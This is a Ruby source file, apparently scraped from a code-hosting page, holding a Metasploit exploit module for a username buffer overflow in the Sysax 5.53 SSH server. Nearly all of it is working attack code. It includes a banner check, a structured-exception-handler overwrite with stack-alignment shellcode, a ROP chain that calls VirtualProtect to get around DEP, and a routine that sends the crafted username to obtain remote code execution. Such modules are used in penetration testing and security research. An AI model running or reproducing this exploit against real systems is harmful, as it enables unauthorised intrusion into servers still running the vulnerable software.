246 lines
6.8 KiB
Ruby
246 lines
6.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::SSH
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Sysax 5.53 SSH Username Buffer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in Sysax's SSH service. By
|
|
supplying a long username, the SSH server will copy that data on the stack
|
|
without proper bounds checking, therefore allowing remote code execution
|
|
under the context of the user. Please note that previous versions
|
|
(before 5.53) are also affected by this bug.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Craig Freyman', #Initial discovery, PoC
|
|
'sinn3r' #Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['OSVDB', '79689'],
|
|
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
|
|
['EDB', '18535']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00\x3a",
|
|
'StackAdjustment' => -3500
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => "seh"
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
|
|
{
|
|
'Rop' => false,
|
|
'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
|
|
}
|
|
],
|
|
[
|
|
'Sysax 5.53 on Win2K3 SP1/SP2',
|
|
{
|
|
'Rop' => true,
|
|
'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Feb 27 2012",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('RPORT', [false, 'The target port', 22])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
begin
|
|
connect
|
|
banner = sock.get_once(-1,5) || ''
|
|
disconnect
|
|
vprint_status("Banner: #{banner}")
|
|
if banner =~ /SSH\-2\.0\-SysaxSSH_1\.0/
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
rescue
|
|
vprint_error("An error has occured while trying to read a response from target")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def load_netssh
|
|
begin
|
|
require 'net/ssh'
|
|
return true
|
|
rescue LoadError
|
|
return false
|
|
end
|
|
end
|
|
|
|
def get_regular_exploit
|
|
#
|
|
# Align the stack to the beginning of the fixed size payload
|
|
#
|
|
align = "\x54" #PUSH ESP
|
|
align << "\x58" #POP EAX
|
|
align << "\x04\x08" #ADD AL,0x08
|
|
align << "\x8b\x18" #MOV EBX, [EAX]
|
|
align << "\x93" #XCHG EAX,EBX
|
|
align << "\x66\x2d\x10\x04" #SUB AX,0x361
|
|
align << "\x50" #PUSH EAX
|
|
align << "\xc3" #RET
|
|
|
|
#
|
|
# Our payload limited to 1024+4 bytes
|
|
#
|
|
p = make_nops(4)
|
|
p << payload.encoded
|
|
|
|
#
|
|
# Craft the buffer like this:
|
|
# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
|
|
# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
|
|
# for the IP length, so the next 9404-byte space will begin at a consistent place.
|
|
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
|
|
# partial-overwrite to allow a null byte in SEH.
|
|
#
|
|
buf = ''
|
|
buf << rand_text(392, payload_badchars)
|
|
buf << rand_text(20, payload_badchars)
|
|
buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
|
|
buf << p
|
|
buf << align
|
|
buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
|
|
buf << [target.ret].pack('V*')
|
|
|
|
return buf
|
|
end
|
|
|
|
def get_rop_exploit
|
|
|
|
junk = rand_text(4).unpack("L")[0].to_i
|
|
nop = make_nops(4).unpack("L")[0].to_i
|
|
|
|
# !mona rop -m msvcrt
|
|
p =
|
|
[
|
|
0x77bb2563, # POP EAX # RETN
|
|
0x77ba1114, # <- *&VirtualProtect()
|
|
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
|
|
junk,
|
|
0x77bb0c86, # XCHG EAX,ESI # RETN
|
|
0x77bc9801, # POP EBP # RETN
|
|
0x77be2265, # ptr to 'push esp # ret'
|
|
0x77bb2563, # POP EAX # RETN
|
|
0x03C0990F,
|
|
0x77bdd441, # SUB EAX, 03c0940f
|
|
0x77bb48d3, # POP EBX, RET
|
|
0x77bf21e0, # .data
|
|
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
|
|
0x77bbfc02, # POP ECX # RETN
|
|
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
|
|
0x77bd8c04, # POP EDI # RETN
|
|
0x77bd8c05, # ROP NOP (-> edi)
|
|
0x77bb2563, # POP EAX # RETN
|
|
0x03c0984f,
|
|
0x77bdd441, # SUB EAX, 03c0940f
|
|
0x77bb8285, # XCHG EAX,EDX # RETN
|
|
0x77bb2563, # POP EAX # RETN
|
|
nop,
|
|
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
|
|
].pack("V*")
|
|
|
|
p << payload.encoded
|
|
|
|
#
|
|
# Similar buffer structure to get_regular_exploit
|
|
#
|
|
buf = ''
|
|
buf << rand_text(392, payload_badchars)
|
|
buf << rand_text(20, payload_badchars)
|
|
buf << rand_text(1012, payload_badchars)
|
|
buf << p
|
|
buf << rand_text(9204-buf.length)
|
|
buf << rand_text(4, payload_badchars)
|
|
buf << [target.ret].pack('V*')
|
|
|
|
return buf
|
|
end
|
|
|
|
def exploit
|
|
#
|
|
# Load net/ssh so we can talk the SSH protocol
|
|
#
|
|
has_netssh = load_netssh
|
|
if not has_netssh
|
|
print_error("You don't have net/ssh installed. Please run gem install net-ssh")
|
|
return
|
|
end
|
|
|
|
#
|
|
# Create buffer based on target (DEP or no DEP)
|
|
# If possible, we still prefer to use the regular version because it's more stable
|
|
#
|
|
if target['Rop']
|
|
buf = get_rop_exploit
|
|
else
|
|
buf = get_regular_exploit
|
|
end
|
|
|
|
#
|
|
# Send the malicious buffer
|
|
#
|
|
pass = rand_text_alpha(8)
|
|
begin
|
|
print_status("Sending malicious request to #{rhost}:#{rport}...")
|
|
factory = ssh_socket_factory
|
|
ssh = Net::SSH.start(
|
|
datastore['RHOST'],
|
|
buf,
|
|
{
|
|
:password => pass,
|
|
:port => datastore['RPORT'],
|
|
:timeout => 1,
|
|
:proxy => factory,
|
|
:config => false,
|
|
:non_interactive => true
|
|
})
|
|
|
|
::Timeout.timeout(1) {ssh.close} rescue nil
|
|
|
|
rescue Errno::ECONNREFUSED
|
|
print_error("Cannot establish a connection on #{rhost}:#{rport}")
|
|
return
|
|
rescue ::Exception => e
|
|
if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
|
|
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
|
|
return
|
|
end
|
|
end
|
|
|
|
handler(ssh)
|
|
end
|
|
end
|
|
|
|
|